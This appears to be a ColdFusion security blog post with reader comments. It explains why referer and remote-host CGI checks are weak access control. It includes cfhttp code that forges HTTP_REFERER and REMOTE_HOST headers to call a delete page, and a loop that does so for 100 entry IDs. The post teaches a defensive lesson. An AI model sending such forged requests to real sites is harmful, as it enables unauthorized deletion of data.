Spoofing CGI Variables - Security Series #11
So after a long interruption, I am restarting my security series. I really enjoy blogging about security topics and want to get back to it.
What is a CGI variable?
CGI Environment Variables are a set of variables created by the web server and the browser to communication information about the transaction taking place between the two.Some CGI Environment Variables may look familiar to you:
- REMOTE_HOST
- HTTP_REFERER
- HTTP_USER_AGENT
- SCRIPT_NAME
- PATH_INFO
Using CGI Variables
I know I have done this, and I am sure many others have done this or still do it.Hypothetically, I have a page that I want to secure. It's a simple page for deleting blog entries or something. I don't want to go to a lot of trouble building some elaborate security system or anything, I just want to make sure that the page can only be called by a certain other page from a certain IP address.
The page I am trying to secure is called deleteEntry.cfm (it could just as easily be entryService.cfc with a deleteEntry() method) and I only want it to work if it is called from myAdminPage.cfm and has a entryID passed in. So I might have some code that looks like this.
<cfif
cgi.HTTP_REFERER EQ "http://www.12robots.com/myAdminPage.cfm"
AND StructKeyExists(form, "entryid")
AND IsNumeric(form.entryid)
AND cgi.remote_host EQ "71.244.78.2">
<!--- Go a head and delete --->
<cfset deleteEntry(entryID) />
<cfelse>
<!--- abort request --->
<cfthrow message="Unathorized Access" />
<cfabort />
</cfif>
Some might think that this is pretty well locked down. It can only be accessed from a specific page called from a specific IP address. I used to think this was pretty good too.
Spoofing CGI Variables
As you may have guessed from the title of this post, we are going to talk about spoofing CGI environment variables. As it turns out, it's really not very hard. Looking at our example above, if my deletePage.cfm (or deletePage() method) was really secured this way, it would be a trivial matter for a hacker to write a remote page that could delete any entry of his/her choosing.HackmyBlog.cfm:
<cfhttp method="post" url="http://www.12robots.com/deletePage.cfm" result="myVar">
<cfhttpparam type="header" name="HTTP_REFERER" value="http://www.12robots.com/myAdminPage.cfm">
<cfhttpparam type="header" name="REMOTE_HOST" value="71.244.78.2">
<cfhttpparam type="formfield" name="entryid" value="1">
</cfhttp>
The hacker could run this CFM file from anywhere, even his/her local machine, and it would call the delete page with all of the parameters and form fields needed to delete the entry with entryid = 1.
Now consider:
<cfloop from="1" to="100" index="pwnd">
<cfhttp method="post" url="http://www.12robots.com/test.cfc" result="myVar">
<cfhttpparam type="url" name="method" value="test">
<cfhttpparam type="header" name="HTTP_REFERER" value="http://www.12robots.com/myAdminPage.cfm">
<cfhttpparam type="header" name="REMOTE_HOST" value="71.244.78.2">
<cfhttpparam type="formfield" name="entryid" value="#pwnd#">
</cfhttp>
</cfloop>






@Jura, Good Catch and thank you for taking this further. I looked a little more into this after I saw your comment. Since cgi.remote_addr is created by the web server, it cannot be overridden so easily by our httpparams. In my reading, it looks like the only way to spoof an IP address would be by actually modifying the TCP/IP packets that are sent, and I am not sure how difficult that would be. Someday I may need to look into that. Personally, I would still be skeptical of cgi.remote_addr for really secure systems.
Thank you both for your comments.
I must go and change some var names now... :-) Jura, thank you for the enlightenment.
You are supposed to use the "official" names for the CGI / Header values as defined by the w3c:
http://www.w3.org/Protocols/HTTP/HTRQ_Headers.html...
I have definitely run into cases when not following this rule caused things not to work (especially with screen scraping and use of the referrer).
I have pounded my head against the wall for many hours because of this! I think the most confusing thing is that if you use the HTTP_ prefix and then CFDump out the CGI scope, it *looks* like the value is coming through correctly. But, I think that's just ColdFusion doing some shenanigans and is not how outside parties will see the values.